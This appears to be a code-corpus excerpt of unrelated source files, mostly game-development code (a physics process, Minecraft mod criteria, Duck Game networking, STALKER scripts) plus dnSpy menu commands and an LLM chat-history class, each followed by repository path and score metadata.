// ================================================================================================= // // CadetEngine Framework // Copyright 2012 Unwrong Ltd. All Rights Reserved. // // This program is free software. You can redistribute and/or modify it // in accordance with the terms of the accompanying license agreement. // // ================================================================================================= package cadet3DPhysics.components.processes { import awayphysics.dynamics.AWPDynamicsWorld; import awayphysics.dynamics.AWPRigidBody; import cadet.core.Component; import cadet.core.ISteppableComponent; import cadet3DPhysics.components.behaviours.RigidBodyBehaviour; import flash.utils.Dictionary; public class PhysicsProcess extends Component implements ISteppableComponent { private var _physicsWorld : AWPDynamicsWorld; private var behaviourTable : Dictionary; private var _timeStep : Number = 1.0 / 60; public function PhysicsProcess( name:String = "PhysicsProcess" ) { super( name ); init(); } private function init():void { /* scaleFactor = 0.02; var bounds:b2AABB = new b2AABB(); bounds.lowerBound = new b2Vec2( -10000, -10000 ); bounds.upperBound = new b2Vec2( 10000, 10000 ); _box2D = new b2World( bounds, new b2Vec2( 0, 0 ), true ); _box2D.SetContactListener(new PhysicsProcessContactListener(this)); _box2D.SetDestructionListener(new PhysicsProcessDestructionListener(this)); gravity = 6; */ // init the physics world _physicsWorld = AWPDynamicsWorld.getInstance(); _physicsWorld.initWithDbvtBroadphase(); behaviourTable = new Dictionary(true); } public function addRigidBody( behaviour:RigidBodyBehaviour, rigidBody:AWPRigidBody ):void { behaviourTable[rigidBody] = behaviour; _physicsWorld.addRigidBody(rigidBody); } public function removeRigidBody( rigidBody:AWPRigidBody ):void { delete behaviourTable[rigidBody]; _physicsWorld.removeRigidBody( rigidBody ); } public function step(dt:Number):void { _physicsWorld.step(_timeStep, 1, _timeStep); } } }
1
0.676069
1
0.676069
game-dev
MEDIA
0.912536
game-dev
0.870792
1
0.870792
DaFuqs/Spectrum
1,324
src/main/java/de/dafuqs/spectrum/progression/advancement/LootFunctionTriggerCriterion.java
package de.dafuqs.spectrum.progression.advancement; import com.mojang.serialization.*; import com.mojang.serialization.codecs.*; import de.dafuqs.spectrum.*; import net.minecraft.advancements.critereon.*; import net.minecraft.resources.*; import net.minecraft.server.level.*; import java.util.*; public class LootFunctionTriggerCriterion extends SimpleCriterionTrigger<LootFunctionTriggerCriterion.Conditions> { public static final ResourceLocation ID = SpectrumCommon.locate("loot_function_trigger"); public void trigger(ServerPlayer player, ResourceLocation id) { this.trigger(player, (conditions) -> conditions.matches(id)); } @Override public Codec<Conditions> codec() { return Conditions.CODEC; } public record Conditions(Optional<ContextAwarePredicate> player, List<ResourceLocation> ids) implements SimpleCriterionTrigger.SimpleInstance { public static final Codec<Conditions> CODEC = RecordCodecBuilder.create(instance -> instance.group( ContextAwarePredicate.CODEC.optionalFieldOf("player").forGetter(Conditions::player), ResourceLocation.CODEC.listOf().optionalFieldOf("tags", List.of()).forGetter(Conditions::ids) ).apply(instance, Conditions::new)); public boolean matches(ResourceLocation id) { return this.ids.isEmpty() || this.ids.contains(id); } } }
1
0.908002
1
0.908002
game-dev
MEDIA
0.963283
game-dev
0.918281
1
0.918281
dnSpyRevived/dnSpy
4,027
Extensions/dnSpy.Debugger/dnSpy.Debugger/Breakpoints/Code/TextEditor/GlyphMarginCommands.cs
/* Copyright (C) 2014-2019 de4dot@gmail.com This file is part of dnSpy dnSpy is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. dnSpy is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with dnSpy. If not, see <http://www.gnu.org/licenses/>. */ using System; using System.ComponentModel.Composition; using dnSpy.Contracts.Debugger.Breakpoints.Code; using dnSpy.Contracts.Images; using dnSpy.Contracts.Menus; using dnSpy.Debugger.Properties; namespace dnSpy.Debugger.Breakpoints.Code.TextEditor { abstract class GlyphMarginCommand : MenuItemBase<DbgCodeBreakpoint> { protected sealed override object CachedContextKey => ContextKey; static readonly object ContextKey = new object(); protected GlyphMarginOperations GlyphMarginOperations => glyphMarginOperations.Value; readonly Lazy<GlyphMarginOperations> glyphMarginOperations; protected GlyphMarginCommand(Lazy<GlyphMarginOperations> glyphMarginOperations) => this.glyphMarginOperations = glyphMarginOperations; protected sealed override DbgCodeBreakpoint? CreateContext(IMenuItemContext context) { if (context.CreatorObject.Guid != new Guid(MenuConstants.GUIDOBJ_GLYPHMARGIN_GUID)) return null; return context.Find<DbgCodeBreakpoint>(); } } [ExportMenuItem(OwnerGuid = MenuConstants.GLYPHMARGIN_GUID, Header = "res:DeleteBreakpointCommand", Icon = DsImagesAttribute.CheckDot, Group = MenuConstants.GROUP_GLYPHMARGIN_DEBUG_CODEBPS_SETTINGS, Order = 0)] sealed class DeleteBreakpointGlyphMarginCommand : GlyphMarginCommand { [ImportingConstructor] DeleteBreakpointGlyphMarginCommand(Lazy<GlyphMarginOperations> glyphMarginOperations) : base(glyphMarginOperations) { } public override void Execute(DbgCodeBreakpoint breakpoint) => GlyphMarginOperations.Remove(breakpoint); } [ExportMenuItem(OwnerGuid = MenuConstants.GLYPHMARGIN_GUID, Icon = DsImagesAttribute.ToggleAllBreakpoints, InputGestureText = "res:ShortCutKeyCtrlF9", Group = MenuConstants.GROUP_GLYPHMARGIN_DEBUG_CODEBPS_SETTINGS, Order = 10)] sealed class ToggleBreakpointGlyphMarginCommand : GlyphMarginCommand { [ImportingConstructor] ToggleBreakpointGlyphMarginCommand(Lazy<GlyphMarginOperations> glyphMarginOperations) : base(glyphMarginOperations) { } public override void Execute(DbgCodeBreakpoint breakpoint) => GlyphMarginOperations.Toggle(breakpoint); public override string? GetHeader(DbgCodeBreakpoint breakpoint) => breakpoint.IsEnabled ? dnSpy_Debugger_Resources.DisableBreakpointCommand2 : dnSpy_Debugger_Resources.EnableBreakpointCommand2; } [ExportMenuItem(OwnerGuid = MenuConstants.GLYPHMARGIN_GUID, Header = "res:SettingsCommand2", Icon = DsImagesAttribute.Settings, Group = MenuConstants.GROUP_GLYPHMARGIN_DEBUG_CODEBPS_EDIT, Order = 0)] sealed class EditSettingsGlyphMarginCommand : GlyphMarginCommand { [ImportingConstructor] EditSettingsGlyphMarginCommand(Lazy<GlyphMarginOperations> glyphMarginOperations) : base(glyphMarginOperations) { } public override void Execute(DbgCodeBreakpoint breakpoint) => GlyphMarginOperations.EditSettings(breakpoint); } [ExportMenuItem(OwnerGuid = MenuConstants.GLYPHMARGIN_GUID, Header = "res:ExportCommand", Icon = DsImagesAttribute.Open, Group = MenuConstants.GROUP_GLYPHMARGIN_DEBUG_CODEBPS_EXPORT, Order = 0)] sealed class ExportGlyphMarginCommand : GlyphMarginCommand { [ImportingConstructor] ExportGlyphMarginCommand(Lazy<GlyphMarginOperations> glyphMarginOperations) : base(glyphMarginOperations) { } public override void Execute(DbgCodeBreakpoint breakpoint) => GlyphMarginOperations.Export(breakpoint); } }
1
0.806118
1
0.806118
game-dev
MEDIA
0.708636
game-dev
0.869389
1
0.869389
smcvb/gamerental
4,140
src/main/java/io/axoniq/demo/gamerental/query/GameCatalogProjector.java
package io.axoniq.demo.gamerental.query; import io.axoniq.demo.gamerental.coreapi.ExceptionStatusCode; import io.axoniq.demo.gamerental.coreapi.FindGameQuery; import io.axoniq.demo.gamerental.coreapi.FullGameCatalogQuery; import io.axoniq.demo.gamerental.coreapi.Game; import io.axoniq.demo.gamerental.coreapi.GameRegisteredEvent; import io.axoniq.demo.gamerental.coreapi.GameRentedEvent; import io.axoniq.demo.gamerental.coreapi.GameReturnedEvent; import io.axoniq.demo.gamerental.coreapi.RentalQueryException; import org.axonframework.config.ProcessingGroup; import org.axonframework.eventhandling.EventHandler; import org.axonframework.messaging.interceptors.ExceptionHandler; import org.axonframework.queryhandling.QueryHandler; import org.axonframework.queryhandling.QueryUpdateEmitter; import org.springframework.context.annotation.Profile; import org.springframework.stereotype.Component; import java.util.List; import java.util.Optional; import java.util.stream.Collectors; @Profile("query") @Component @ProcessingGroup("game-catalog") class GameCatalogProjector { private final GameViewRepository repository; private final QueryUpdateEmitter updateEmitter; public GameCatalogProjector(GameViewRepository repository, QueryUpdateEmitter updateEmitter) { this.repository = repository; this.updateEmitter = updateEmitter; } @EventHandler public void on(GameRegisteredEvent event) { String title = event.getTitle(); repository.save(new GameView(event.getGameIdentifier(), title, event.getReleaseDate(), event.getDescription(), event.isSingleplayer(), event.isMultiplayer())); updateEmitter.emit(FullGameCatalogQuery.class, query -> true, title); } @EventHandler public void on(GameRentedEvent event) { Optional<GameView> result = repository.findById(event.getGameIdentifier()); if (result.isPresent()) { result.get().decrementStock(); } else { throw new IllegalArgumentException("Game with id [" + event.getGameIdentifier() + "] could not be found."); } } @EventHandler public void on(GameReturnedEvent event) { Optional<GameView> result = repository.findById(event.getGameIdentifier()); if (result.isPresent()) { result.get().incrementStock(); } else { throw new IllegalArgumentException("Game with id [" + event.getGameIdentifier() + "] could not be found."); } } @QueryHandler public Game handle(FindGameQuery query) { String gameIdentifier = query.getGameIdentifier(); return repository.findById(gameIdentifier) .map(gameView -> new Game( gameView.getTitle(), gameView.getReleaseDate(), gameView.getDescription(), gameView.isSingleplayer(), gameView.isMultiplayer() )) .orElseThrow(() -> new IllegalArgumentException( "Game with id [" + gameIdentifier + "] could not be found." )); } @QueryHandler public List<String> handle(FullGameCatalogQuery query) { return repository.findAll().stream() .map(GameView::getTitle) .collect(Collectors.toList()); } @ExceptionHandler(resultType = IllegalArgumentException.class) public void handle(IllegalArgumentException exception) { ExceptionStatusCode statusCode; if (exception.getMessage().contains("could not be found")) { statusCode = ExceptionStatusCode.GAME_NOT_FOUND; } else { statusCode = ExceptionStatusCode.UNKNOWN_EXCEPTION; } throw new RentalQueryException(exception.getMessage(), exception, statusCode); } }
1
0.860112
1
0.860112
game-dev
MEDIA
0.463025
game-dev,desktop-app
0.796498
1
0.796498
ismaileke/bedrock-client
1,337
src/protocol/bedrock/types/biome/chunkgen/biome_surface_material_data.rs
use binary_utils::binary::Stream; #[derive(Debug)] pub struct BiomeSurfaceMaterialData { top_block: u32, mid_block: u32, sea_floor_block: u32, foundation_block: u32, sea_block: u32, sea_floor_depth: u32 } impl BiomeSurfaceMaterialData { pub fn new(top_block: u32, mid_block: u32, sea_floor_block: u32, foundation_block: u32, sea_block: u32, sea_floor_depth: u32) -> Self { BiomeSurfaceMaterialData { top_block, mid_block, sea_floor_block, foundation_block, sea_block, sea_floor_depth } } pub fn read(stream: &mut Stream) -> BiomeSurfaceMaterialData { let top_block = stream.get_l_int(); let mid_block = stream.get_l_int(); let sea_floor_block = stream.get_l_int(); let foundation_block = stream.get_l_int(); let sea_block = stream.get_l_int(); let sea_floor_depth = stream.get_l_int(); BiomeSurfaceMaterialData::new(top_block, mid_block, sea_floor_block, foundation_block, sea_block, sea_floor_depth) } pub fn write(&self, stream: &mut Stream) { stream.put_l_int(self.top_block); stream.put_l_int(self.mid_block); stream.put_l_int(self.sea_floor_block); stream.put_l_int(self.foundation_block); stream.put_l_int(self.sea_block); stream.put_l_int(self.sea_floor_depth); } }
1
0.610656
1
0.610656
game-dev
MEDIA
0.348586
game-dev
0.541832
1
0.541832
RedPandaProjects/STALKERonUE
1,299
gamedata/scripts/smart_covers_animpoint_sit_high.script
local temp = {} if (move ~= nil) then temp = move end move = temp function get_smart_cover() return { need_weapon = false, loopholes = { smart_covers_loophole_animpoint_sit_high.get_loophole("animpoint_sit_high", vector():set(0,0,0), vector():set(0,0,-1), vector():set(0,0,-1)) }, transitions = { --' { vertex0 = "", vertex1 = "animpoint_sit_high", weight = 1.0, actions = { { precondition_functor = "smart_covers.script_functor_true", precondition_params = "", actions = { { animation = "animpoint_sit_high_in_1", position = vector():set(0,0,0), body_state = move.crouch, movement_type = move.run, }, }, } } }, --' . { vertex0 = "animpoint_sit_high", vertex1 = "", weight = 1.1, actions = { { precondition_functor = "smart_covers.script_functor_true", precondition_params = "", actions = { { animation = "animpoint_sit_high_out_1", position = vector():set(0,0,0), body_state = move.standing, movement_type = move.run, }, }, } } } } } end
1
0.727881
1
0.727881
game-dev
MEDIA
0.877804
game-dev
0.93769
1
0.93769
TheFlyingFoool/DuckGameRebuilt
2,313
DuckGame/src/DuckGame/Network/NMProfileInfo.cs
using System.Collections.Generic; namespace DuckGame { public class NMProfileInfo : NMDuckNetworkEvent { public Profile profile; public int fans; public int loyalFans; public bool areParentalControlsActive; public int flagIndex; public ushort numCustomHats; private List<bool> _unlockList; private List<Team> _teams; public List<bool> GetHatUnlockStatuses() { if (_unlockList == null) _unlockList = new List<bool>(); return _unlockList; } public NMProfileInfo() { } public NMProfileInfo( Profile pProfile, int numFans, int numLoyalFans, bool pAreParentalControlsActive, int pFlagIndex, ushort pNumCustomHats, List<Team> pTeams) { profile = pProfile; fans = numFans; loyalFans = numLoyalFans; areParentalControlsActive = pAreParentalControlsActive; flagIndex = pFlagIndex; numCustomHats = pNumCustomHats; _teams = pTeams; } protected override void OnSerialize() { _serializedData.Write((ushort)_teams.Count); for (int index = 0; index < _teams.Count; ++index) _serializedData.Write(_teams[index].locked); base.OnSerialize(); } public override void OnDeserialize(BitBuffer msg) { ushort num = msg.ReadUShort(); _unlockList = new List<bool>(); for (int index = 0; index < num; ++index) _unlockList.Add(msg.ReadBool()); base.OnDeserialize(msg); } public override void Activate() { if (profile != null) { profile.stats.unloyalFans = fans; profile.stats.loyalFans = loyalFans; profile.ParentalControlsActive = areParentalControlsActive; profile.flagIndex = flagIndex; if (numCustomHats > 0) profile.GetCustomTeam((ushort)(numCustomHats - 1U)); profile.networkHatUnlockStatuses = _unlockList; } base.Activate(); } } }
1
0.713037
1
0.713037
game-dev
MEDIA
0.816436
game-dev
0.857393
1
0.857393
LOUDO56/NarrativeCraft
4,641
common/src/main/java/fr/loudo/narrativecraft/narrative/keyframes/Keyframe.java
/* * NarrativeCraft - Create your own stories, easily, and freely in Minecraft. * Copyright (c) 2025 LOUDO and contributors * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ package fr.loudo.narrativecraft.narrative.keyframes; import com.mojang.datafixers.util.Pair; import fr.loudo.narrativecraft.items.CutsceneEditItems; import fr.loudo.narrativecraft.mixin.invoker.ArmorStandInvoker; import fr.loudo.narrativecraft.util.MathHelper; import java.util.List; import net.minecraft.core.BlockPos; import net.minecraft.core.Rotations; import net.minecraft.network.protocol.game.*; import net.minecraft.server.level.ServerPlayer; import net.minecraft.world.entity.EntityType; import net.minecraft.world.entity.EquipmentSlot; import net.minecraft.world.entity.PositionMoveRotation; import net.minecraft.world.entity.decoration.ArmorStand; import net.minecraft.world.phys.Vec3; public class Keyframe { protected transient ArmorStand camera; protected final int id; protected KeyframeLocation keyframeLocation; public Keyframe(int id, KeyframeLocation keyframeLocation) { this.id = id; this.keyframeLocation = keyframeLocation; } public void showKeyframe(ServerPlayer player) { camera = new ArmorStand(EntityType.ARMOR_STAND, player.level()); ((ArmorStandInvoker) camera).callSetSmall(true); camera.setNoGravity(true); camera.setInvisible(true); camera.setNoBasePlate(true); camera.setBodyPose(new Rotations(180f, 0, 0)); camera.setLeftLegPose(new Rotations(180f, 0, 0)); camera.setRightLegPose(new Rotations(180f, 0, 0)); BlockPos blockPos = new BlockPos( (int) keyframeLocation.getX(), (int) keyframeLocation.getY(), (int) keyframeLocation.getZ()); player.connection.send(new ClientboundAddEntityPacket(camera, 0, blockPos)); player.connection.send(new ClientboundSetEquipmentPacket( camera.getId(), List.of(new Pair<>(EquipmentSlot.HEAD, CutsceneEditItems.camera)))); updateEntityData(player); } public void hideKeyframe(ServerPlayer player) { player.connection.send(new ClientboundRemoveEntitiesPacket(camera.getId())); } public void updateEntityData(ServerPlayer player) { float pitchHeadPos = MathHelper.wrapDegrees360(keyframeLocation.getPitch()); camera.setHeadPose(new Rotations( pitchHeadPos == 0 ? 0.000001f : MathHelper.wrapDegrees360(keyframeLocation.getPitch()), 0, keyframeLocation.getRoll())); camera.setXRot(keyframeLocation.getPitch()); camera.setYRot(keyframeLocation.getYaw()); camera.setYHeadRot(keyframeLocation.getYaw()); Vec3 playerCoordVec3 = new Vec3(keyframeLocation.getX(), keyframeLocation.getY() - 1, keyframeLocation.getZ()); PositionMoveRotation pos = new PositionMoveRotation( playerCoordVec3, new Vec3(0, 0, 0), keyframeLocation.getYaw(), keyframeLocation.getPitch()); player.connection.send(new ClientboundEntityPositionSyncPacket(camera.getId(), pos, false)); player.connection.send(new ClientboundSetEntityDataPacket( camera.getId(), camera.getEntityData().getNonDefaultValues())); } public int getId() { return id; } public ArmorStand getCamera() { return camera; } public KeyframeLocation getKeyframeLocation() { return keyframeLocation; } public void setKeyframeLocation(KeyframeLocation keyframeLocation) { this.keyframeLocation = keyframeLocation; } }
1
0.801462
1
0.801462
game-dev
MEDIA
0.699295
game-dev
0.884325
1
0.884325
monry/UniFlow
3,071
Assets/Scripts/Connector/ValueProvider/SelectorBase.cs
using System; using System.Collections.Generic; using System.Linq; using UniRx; using UnityEngine; using UnityEngine.EventSystems; // ReSharper disable ConvertIfStatementToReturnStatement namespace UniFlow.Connector.ValueProvider { public abstract class SelectorBase<TKey, TValue, TKeyCollector> : ConnectorBase, IMessageCollectable, IMessageComposable where TKeyCollector : ValueCollectorBase<TKey>, new() { [SerializeField] private List<TKey> keys = new List<TKey>(); [SerializeField] private List<TValue> values = new List<TValue>(); protected IList<TKey> Keys => keys != default && keys.Any() ? keys : keys = GetKeys().ToList(); protected IEnumerable<TValue> Values => values != default && values.Any() ? values : values = GetValues().ToList(); private TKey Key { get; set; } [SerializeField] private TKeyCollector keyCollector = new TKeyCollector(); private TKeyCollector KeyCollector => keyCollector; public override IObservable<Message> OnConnectAsObservable() { return Observable.Return(this.CreateMessage()); } protected virtual IEnumerable<TKey> GetKeys() { return keys; } protected virtual IEnumerable<TValue> GetValues() { return values; } protected virtual TValue FindValue(TKey key) { return Keys.Contains(key) && Values.Count() > Keys.IndexOf(key) ? Values.ElementAt(Keys.IndexOf(key)) : default; } IEnumerable<ICollectableMessageAnnotation> IMessageCollectable.GetMessageCollectableAnnotations() => new[] { CollectableMessageAnnotationFactory.Create(KeyCollector, x => Key = x, nameof(Key)), }; IEnumerable<IComposableMessageAnnotation> IMessageComposable.GetMessageComposableAnnotations() => new[] { ComposableMessageAnnotationFactory.Create(() => FindValue(Key)), }; } public abstract class ListSelectorBase<TValue> : SelectorBase<int, TValue, IntCollector> { protected override IEnumerable<int> GetKeys() { return Enumerable.Range(0, Values.Count()); } } public abstract class GameObjectSelectorBase<TKey, TKeyCollector> : SelectorBase<TKey, GameObject, TKeyCollector> where TKeyCollector : ValueCollectorBase<TKey>, new() { } public abstract class MonoBehaviourSelectorBase<TKey, TKeyCollector> : SelectorBase<TKey, MonoBehaviour, TKeyCollector> where TKeyCollector : ValueCollectorBase<TKey>, new() { } public abstract class UIBehaviourSelectorBase<TKey, TKeyCollector> : SelectorBase<TKey, UIBehaviour, TKeyCollector> where TKeyCollector : ValueCollectorBase<TKey>, new() { } public abstract class EnumSelectorBase<TKey, TEnum, TKeyCollector> : SelectorBase<TKey, TEnum, TKeyCollector> where TEnum : Enum where TKeyCollector : ValueCollectorBase<TKey>, new() { } }
1
0.957721
1
0.957721
game-dev
MEDIA
0.455643
game-dev
0.95303
1
0.95303
PioneerMNDR/MousyHub
15,173
src/Classes/ChatHistory.cs
using DocumentFormat.OpenXml.Bibliography; using MousyHub.Classes.Misc; using MousyHub.Classes.Model; using MousyHub.Classes.User; using MousyHub.Models.Misc; using MousyHub.Models.Model; using MousyHub.Models.Services; using Newtonsoft.Json; using System; namespace MousyHub.Models { public class ChatHistory { public ChatHistory() { } public ChatHistory(Person UserPerson, Person CharacterPerson, List<Person> AllPerson) { Messages = new List<Message>(); ChatLoading(UserPerson, CharacterPerson, AllPerson); } public void ChatLoading(Person UserPerson, Person CharacterPerson, List<Person> AllPerson) { foreach (Person person in AllPerson) { foreach (var message in Messages) { if (message.IdOwner == person.Id) { message.Owner = person; } } foreach (var alt in AlterativeFirstMessages) { if (alt.IdOwner == person.Id) { alt.Owner = person; } } foreach (var speaker in SpeakerQueue) { if (speaker.Id == person.Id) { speaker.Person = person; } } } //If person is null. Delete this SpeakerQueue.Where(x => x.Person == null).ToList().ForEach(x => DeleteInQueue(x.Person)); DefaultQueue(); MainCharacter = CharacterPerson; MainUser = UserPerson; ChatName = CharacterPerson.CharacterCard.system_name; if (CharacterPerson.CharacterCard != null) { Mes_Example = CharacterPerson.CharacterCard.data.mes_example; FirstMessage = CharacterPerson.CharacterCard.data.first_mes; Scenario = CharacterPerson.CharacterCard.data.scenario; CharDesription = CharacterPerson.CharacterCard.data.description; Personality = CharacterPerson.CharacterCard.data.personality; CharShortDesription = CharacterPerson.CharacterCard.data.short_description; Alt_greetings = CharacterPerson.CharacterCard.data.alternate_greetings; } AddToQueue(MainUser, true); AddToQueue(MainCharacter, true); } public string ChatName { get; set; } public string? Mes_Example { get; set; } public string? Scenario { get; set; } //Buffer for the initial Scenario if the original is rewritten public string? InitialScenario { get; set; } public string? FirstMessage { get; set; } public string? CharDesription { get; set; } public string? CharShortDesription { get; set; } public string SystemMessage { get; set; } public string? Personality { get; set; } public string?[] Alt_greetings { get; set; } public string? SummarizeContext { get; set; } public string? PlayerWishes { get; set; } public string? OCC_PlayerWishes { get; set; } /// <summary> /// Stores the value received from RAG, reset when used /// </summary> public string? MemoryFromChat { get; set; } public int ChatContextSize { get; set; } = 0; public int TotalMessagesCount { get; private set; } public List<Message> Messages { get; set; } public List<Message> AlterativeFirstMessages { get; set; } = new List<Message>(); public List<Speaker> SpeakerQueue { get; set; } = new List<Speaker>(); [JsonIgnore] public Person MainUser { get; set; } [JsonIgnore] public Person MainCharacter { get; set; } /// <summary> /// Prepares for loading in LLM the system message and also all history of dialogue /// </summary> /// <param name="instruct"></param> /// <returns></returns> public Promt GetPromt(Instruct instruct, Person person,ReasoningOptions reasoningOptions, bool isChat) { Promt promt = new Promt(this, instruct, person, reasoningOptions, isChat); if (true) { promt.ConsoleLog(); } return promt; } public async Task<Message> AddMessage(string content, Person person, Instruct instruct, string NativeLangContent = "") { TotalMessagesCount++; if (person.IsUser == true) { if (OCC_PlayerWishes != string.Empty) // <----Special condition for the OCC (add OOC to end of player message) { content += "\n" + OCC_PlayerWishes; OCC_PlayerWishes = string.Empty; } var InstructContent = StringHelperBuilder.UserMessageInstructed(instruct, content, person.Name); var newMes = new Message(content, InstructContent, person); newMes.UserNativeLanguageContent = NativeLangContent; Messages.Add(newMes); return newMes; } else { var InstructContent = StringHelperBuilder.BotMessageInstructed(instruct, person.Name); content = StringHelperBuilder.TagPlaceholder(content, MainUser.Name, MainCharacter.Name); var newMes = new Message(content, InstructContent, person); newMes.UserNativeLanguageContent = NativeLangContent; Messages.Add(newMes); return newMes; } } public async Task DeleteMessage(Message message) { Messages.Remove(message); TotalMessagesCount--; } public async Task ClearIsGenerationBorder() { foreach (Message item in Messages) { item.isGenerating = false; } } public async Task DeleteLastMessage() { if (Messages.Count > 0) { Messages.Remove(Messages.Last()); TotalMessagesCount--; } } public void AddToQueue(Person person, bool isActive, bool isWriting = false) { if (SpeakerQueue.Any(x => x.Person == person) == false) { var s = new Speaker(SpeakerQueue.Count, person, isActive, isWriting); SpeakerQueue.Add(s); if (s.Order == 0 && s.isAction) { s.isWriting = true; } } } /// <summary> /// Advances turn on +1 and returns the person which will speak to following. Ignores those who has skips /// </summary> /// <returns></returns> public Person QueueMoveOrder() { var firstItemIndex = SpeakerQueue.FindIndex(item => item.isAction == true); if (firstItemIndex == -1) { return MainUser; } var firstitem = SpeakerQueue[firstItemIndex]; firstitem.isWriting = false; SpeakerQueue.Remove(firstitem); firstitem.Order = SpeakerQueue.Count(item => item.isAction == true); SpeakerQueue.Add(firstitem); int order = 0; var list = SpeakerQueue.Where(x => x.isAction == true).ToList(); for (int i = 0; i < list.Count; i++) { if (list[i].SkipNow == 0) { list[i].Order = order++; if (list[i].SkipCount != 0 && list[i].SkipNow == 0) { list[i].SkipNow = list[i].SkipCount; } } else { list[i].SkipNow--; } } SpeakerQueue = SpeakerQueue.OrderBy(x => x.Order).ToList(); var nextItemIndex = SpeakerQueue.FindIndex(item => item.isAction == true); var nextItem = SpeakerQueue[nextItemIndex]; nextItem.isWriting = true; return nextItem.Person; } public Person GetCurrentSpeakerInQueue() { var firstItemIndex = SpeakerQueue.FindIndex(item => item.isAction == true); if (firstItemIndex == -1) { return MainUser; } var firstitem = SpeakerQueue[firstItemIndex]; return firstitem.Person; } private void DefaultQueue() { var user = SpeakerQueue.FirstOrDefault(x => x.Person.IsUser); if (user != null) { user.Order = 0; var sorted = SpeakerQueue.Where(x => x != user).OrderBy(p => Math.Abs(p.Order - user.Order)).ThenBy(p => p.Order).ToList(); for (int i = 0; i < sorted.Count; i++) { sorted[i].Order = i + 1; } foreach (var item in SpeakerQueue) { if (item.Order == 0) { item.isWriting = true; } else { item.isWriting = false; } } SpeakerQueue = SpeakerQueue.OrderBy(x => x.Order).ToList(); } } public void DeleteInQueue(Person person) { var item = SpeakerQueue.Where(x => x.Person == person).FirstOrDefault(); if (item != null) { if (item.Order == 0 && item.isAction) { QueueMoveOrder(); } SpeakerQueue.Remove(item); } } public Guid AddEmptyMessage(Person person, Instruct instruct) { //Add next person name to new emptyMessage content var content = StringHelperBuilder.BotMessageInstructed(instruct, person.Name); Message message = new Message("", content, person); message.isGenerating = true; Messages.Add(message); TotalMessagesCount++; return message.GuidMessage; } public void FillAltFirstMessagesList(Person person, Instruct instruct) { AlterativeFirstMessages.Clear(); var InstructContent = StringHelperBuilder.BotMessageInstructed(instruct, person.Name); AlterativeFirstMessages.Add(Messages[0]); if (Alt_greetings!=null) { foreach (var item in Alt_greetings) { string content = item; if (content == null) continue; content = StringHelperBuilder.TagPlaceholder(content, MainUser.Name, MainCharacter.Name); var newMes = new Message(content, InstructContent, person); AlterativeFirstMessages.Add(newMes); } } } public void AddNewAltFirstMessage(Instruct instruct, string RawContent) { var InstructContent = StringHelperBuilder.BotMessageInstructed(instruct, MainCharacter.Name); var ProcContent = StringHelperBuilder.TagPlaceholder(RawContent, MainUser.Name, MainCharacter.Name); var newMes = new Message(ProcContent, InstructContent, MainCharacter); AlterativeFirstMessages.Add(newMes); } public async Task NextFirstMessage(bool NextIsLastAddedMessage=false,TranslatorService? translator = null) { if (AlterativeFirstMessages.Count > 1) { if (NextIsLastAddedMessage) { // Получаем индекс последнего элемента в списке AlterativeFirstMessages int lastIndex = AlterativeFirstMessages.Count - 1; Messages[0] = AlterativeFirstMessages[lastIndex]; } else { int oldIndex = AlterativeFirstMessages.IndexOf(Messages[0]); int newIndex = (oldIndex + 1) % AlterativeFirstMessages.Count; Messages[0] = AlterativeFirstMessages[newIndex]; } } if (translator != null && string.IsNullOrEmpty(Messages[0].UserNativeLanguageContent)) { await Messages[0].TranslateMessage(translator); } } public int IndexAltMessage() { if (AlterativeFirstMessages.Count>0) { if (AlterativeFirstMessages.IndexOf(Messages[0])==-1) { return 0; } return AlterativeFirstMessages.IndexOf(Messages[0]); } return 0; } public Message GetCurrentFirstMessage() { if (Messages.Count>0) { return Messages[0]; } return new Message(); } /// <summary> /// Retrieves a message from the message list with a specified offset from the end. /// </summary> /// <param name="avoidNarrator">If true, skips messages from the "Narrator" owner when possible.</param> /// <param name="offset">Specifies which message to retrieve from the end (0 for last message, 1 for second-to-last, etc.).</param> /// <returns>The message at the specified position from the end of the list. Returns an empty message if the list doesn't contain enough messages.</returns> public Message GetLastMessage(bool avoidNarrator = false, int offset = 0) { Message message = new Message(); if (Messages.Count > offset) { message = Messages[Messages.Count - 1 - offset]; if (avoidNarrator && message.Owner.Name == "Narrator" && Messages.Count > offset + 2) { message = Messages[Messages.Count - 2 - offset]; } } return message; } public async Task<Message> StreamLLMEditingMessage(string newtoken,string newreastoken, Guid guid, ReasoningOptions reasoningOptions) { Message? message = null; foreach (var item in Messages) { if (item.GuidMessage == guid) { message = item; break; } } if (message == null) { return null; } message.isGenerating = true; //message.AppendContent(newtoken, reasoningOptions); message.Content += newtoken; message.ReasoningContent += newreastoken; return message; await Task.CompletedTask; } } }
1
0.909801
1
0.909801
game-dev
MEDIA
0.845689
game-dev
0.978187
1
0.978187
ImLegiitXD/Blossom
7,339
src/main/java/net/minecraft/block/BlockSilverfish.java
